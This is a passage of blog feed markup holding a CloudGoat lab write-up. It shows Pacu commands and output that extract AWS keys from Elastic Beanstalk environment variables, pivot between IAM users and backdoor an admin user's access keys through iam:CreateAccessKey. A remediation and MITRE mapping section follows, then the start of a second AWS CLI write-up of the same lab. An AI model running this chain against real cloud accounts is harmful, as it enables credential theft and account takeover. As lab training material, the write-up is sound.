&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[elasticbeanstalk__enum] Enumerating BeanStalk data in region us-east-1...
[elasticbeanstalk__enum]   1 application(s) found in us-east-1.
[elasticbeanstalk__enum]   1 environment(s) found in us-east-1.
    Potential secret in environment variable: SSHSourceRestriction =&amp;gt; tcp,22,22,0.0.0.0/0
    Potential secret in environment variable: EnvironmentVariables =&amp;gt; SECONDARY_SECRET_KEY=ZTh2BV46l3PBNkEFNfnZ********************,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=AKIA****************
    Potential secret in environment variable: SECONDARY_ACCESS_KEY =&amp;gt; AKIA****************
[elasticbeanstalk__enum]   3 potential secret(s) found in config settings.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Secret Name&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SECONDARY_ACCESS_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AKIA****************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SECONDARY_SECRET_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ZTh2BV46l3PBNkEFNfnZ********************&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Credentials extracted from environment variables.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Phase 3: Initial User Permission Analysis
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Bruteforce Permissions
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; search iam
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__bruteforce_permissions &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[iam__bruteforce_permissions] Starting permission enumeration for access-key-id "AKIA****************"
[iam__bruteforce_permissions] -- Account ARN : arn:aws:iam::7912********:user/cgid135wosdg8e_low_priv_user
[iam__bruteforce_permissions] -- sts.get_session_token() worked!
[iam__bruteforce_permissions] -- sts.get_caller_identity() worked!
[iam__bruteforce_permissions] -- ec2.describe_subnets() worked!
[iam__bruteforce_permissions] -- dynamodb.describe_endpoints() worked!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Permission&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sts:GetCallerIdentity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Credentials are valid&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sts:GetSessionToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Can request temporary credentials (MFA not enforced)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ec2:DescribeSubnets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Infrastructure recon data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dynamodb:DescribeEndpoints&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Low impact&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  👤 Phase 4: Pivot to Secondary User
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Configure and Import Secondary Credentials
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-2
&lt;span class="c"&gt;# Access Key: AKIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: ZTh2BV46l3PBNkEFNfnZ********************&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; swap_session
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; import_keys ebs-2
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🗄️ Phase 5: Secondary User IAM Enumeration
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Bruteforce Permissions
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__bruteforce_permissions &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[iam__bruteforce_permissions] User "cgid135wosdg8e_secondary_user" has 1 attached policies
[iam__bruteforce_permissions] -- Policy "cgid135wosdg8e_secondary_policy"
[iam__bruteforce_permissions] -- iam.list_users() worked!
[iam__bruteforce_permissions] -- iam.list_policies() worked!
[iam__bruteforce_permissions] -- iam.list_roles() worked!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found users:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cgid135wosdg8e_admin_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Target&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cgid135wosdg8e_low_priv_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cgid135wosdg8e_secondary_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Current user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Enumerate Detailed Permissions
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__enum_permissions
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cgid135wosdg8e_secondary_user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:createaccesskey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:listusers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:getpolicy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:getpolicyversion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:listroles"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iam:listattacheduserpolicies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Critical Finding
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Permission&lt;/th&gt;
&lt;th&gt;Resource&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;iam:CreateAccessKey&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;*&lt;/code&gt; (wildcard)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Can create access keys for ANY user&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  💥 Phase 6: Privilege Escalation
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Scan for Escalation Paths
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; search privesc
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__privesc_scan &lt;span class="nt"&gt;--scan-only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   CONFIRMED: CreateAccessKey
[iam__privesc_scan]   POTENTIAL: AttachUserPolicy
[iam__privesc_scan]   POTENTIAL: CreateLoginProfile
[iam__privesc_scan]   POTENTIAL: CreateNewPolicyVersion
[...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Execute Privilege Escalation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__privesc_scan &lt;span class="nt"&gt;--user-methods&lt;/span&gt; CreateAccessKey
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[iam__privesc_scan] Found 3 user(s). Choose a user below.
[iam__privesc_scan]   [0] Other (Manually enter user name)
[iam__privesc_scan]   [1] cgid135wosdg8e_admin_user
[iam__privesc_scan]   [2] cgid135wosdg8e_low_priv_user
[iam__privesc_scan]   [3] cgid135wosdg8e_secondary_user
[iam__privesc_scan] Choose an option: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys]   cgid135wosdg8e_admin_user
[iam__backdoor_users_keys]     Access Key ID: AKIA****************
[iam__backdoor_users_keys]     Secret Key: fswAMaOCaa6Fxdxc4ii8********************
[iam__privesc_scan] Privilege escalation was successful
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🚩 Phase 7: Capture the Flag
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Configure Admin Profile and Switch Session
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; swap_session
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; import_keys admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Enumerate Secrets
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; search secret
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run secrets__enum &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[secrets__enum] Starting region us-east-1...
[secrets__enum]  Found secret: cgid135wosdg8e_final_flag
[secrets__enum] secrets__enum completed.

[secrets__enum] MODULE SUMMARY:
    1 Secret(s) were found in AWS secretsmanager
    Check ~/.local/share/pacu/&amp;lt;session name&amp;gt;/downloads/secrets/ to get the values
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Retrieve Flag
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.local/share/pacu/admin/downloads/secrets/secrets_manager/secrets.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cgid135wosdg8e_final_flag:FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  📐 Attack Chain Diagram
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────┐
│   Low-Priv User     │
│   (ebs-1 profile)   │
└──────────┬──────────┘
           │ elasticbeanstalk__enum
           ▼
┌─────────────────────┐
│  Beanstalk Secrets  │
│  - Access Key       │
│  - Secret Key       │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────┐
│  Secondary User     │
│   (ebs-2 profile)   │
└──────────┬──────────┘
           │ iam__privesc_scan (CreateAccessKey)
           ▼
┌─────────────────────┐
│    Admin User       │
│  (admin profile)    │
└──────────┬──────────┘
           │ secrets__enum
           ▼
┌─────────────────────┐
│       FLAG          │
└─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🚨 Vulnerabilities Exploited
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CWE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Hardcoded credentials in Beanstalk environment variables&lt;/td&gt;
&lt;td&gt;CWE-798&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Overly permissive IAM policy (&lt;code&gt;iam:CreateAccessKey&lt;/code&gt; on &lt;code&gt;*&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;CWE-732&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Lack of least privilege principle&lt;/td&gt;
&lt;td&gt;CWE-250&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  💡 Remediation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Do not store long-lived AWS credentials in environment variables&lt;/strong&gt; - Use AWS Secrets Manager or SSM Parameter Store&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrict &lt;code&gt;iam:CreateAccessKey&lt;/code&gt;&lt;/strong&gt; - Scope to &lt;code&gt;self&lt;/code&gt; only:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"iam:CreateAccessKey"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::*:user/${aws:username}"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Enable CloudTrail alerts&lt;/strong&gt; for &lt;code&gt;CreateAccessKey&lt;/code&gt; API calls&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regular IAM Access Analyzer scans&lt;/strong&gt; to detect overly permissive policies&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  🎯 MITRE ATT&amp;amp;CK Mapping
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;Unsecured Credentials: Credentials in Files / Environment Variables&lt;/td&gt;
&lt;td&gt;T1552.001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Cloud Service Discovery&lt;/td&gt;
&lt;td&gt;T1526&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Account Manipulation: Additional Cloud Credentials&lt;/td&gt;
&lt;td&gt;T1098.001&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  🛠️ Pacu Commands Reference
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Session Management&lt;/span&gt;
import_keys &amp;lt;profile&amp;gt;         &lt;span class="c"&gt;# Import AWS CLI credentials&lt;/span&gt;
swap_session                  &lt;span class="c"&gt;# Switch between Pacu sessions&lt;/span&gt;
&lt;span class="nb"&gt;whoami&lt;/span&gt;                        &lt;span class="c"&gt;# Display current session info&lt;/span&gt;

&lt;span class="c"&gt;# Discovery&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt;                            &lt;span class="c"&gt;# List all modules&lt;/span&gt;
search &amp;lt;keyword&amp;gt;              &lt;span class="c"&gt;# Search for modules&lt;/span&gt;
&lt;span class="nb"&gt;help&lt;/span&gt; &amp;lt;module&amp;gt;                 &lt;span class="c"&gt;# Get module help&lt;/span&gt;

&lt;span class="c"&gt;# Elastic Beanstalk&lt;/span&gt;
run elasticbeanstalk__enum &lt;span class="nt"&gt;--region&lt;/span&gt; &amp;lt;region&amp;gt;

&lt;span class="c"&gt;# IAM Enumeration&lt;/span&gt;
run iam__bruteforce_permissions &lt;span class="nt"&gt;--region&lt;/span&gt; &amp;lt;region&amp;gt;
run iam__enum_permissions

&lt;span class="c"&gt;# Privilege Escalation&lt;/span&gt;
run iam__privesc_scan &lt;span class="nt"&gt;--scan-only&lt;/span&gt;
run iam__privesc_scan &lt;span class="nt"&gt;--user-methods&lt;/span&gt; &amp;lt;method&amp;gt;

&lt;span class="c"&gt;# Secrets&lt;/span&gt;
run secrets__enum &lt;span class="nt"&gt;--region&lt;/span&gt; &amp;lt;region&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/11" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>writeup</category>
      <category>cloudgoat</category>
      <category>aws</category>
    </item>
    <item>
      <title>🥷 CloudGoat: Beanstalk Secrets (AWS CLI): Write-up: From low-privilege user to admin (AWS CLI approach)</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 09:59:20 +0000</pubDate>
      <link>https://dev.to/denesbeck/cloudgoat-beanstalk-secrets-aws-cli-write-up-from-low-privilege-user-to-admin-aws-cli-5aej</link>
      <guid>https://dev.to/denesbeck/cloudgoat-beanstalk-secrets-aws-cli-write-up-from-low-privilege-user-to-admin-aws-cli-5aej</guid>
      <description>&lt;h1&gt;
  
  
  🥷 CloudGoat: Beanstalk Secrets (AWS CLI)
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Write-up: From low-privilege user to admin (AWS CLI approach)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🧭 Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &lt;code&gt;beanstalk_secrets&lt;/code&gt; \&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/cloudgoat" rel="noopener noreferrer"&gt;CloudGoat (Rhino Security Labs)&lt;/a&gt; \&lt;br&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; AWS CLI (no exploitation frameworks) \&lt;br&gt;
&lt;strong&gt;Objective:&lt;/strong&gt; Extract secrets from Elastic Beanstalk, escalate to admin, and retrieve the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚔️ Attack Path Summary
&lt;/h2&gt;

&lt;p&gt;Low-Priv User → Beanstalk Enum → Secondary Creds → IAM Enum → CreateAccessKey → Admin → Flag&lt;/p&gt;

&lt;h2&gt;
  
  
  🔑 Phase 1: Initial Access
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Configure Low-Privilege Profile
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-1
&lt;span class="c"&gt;# Access Key: AKIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: EOyTyXYE/DwNCFAHmFSla5SWz**************&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Validate Credentials
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AIDA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7912********"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
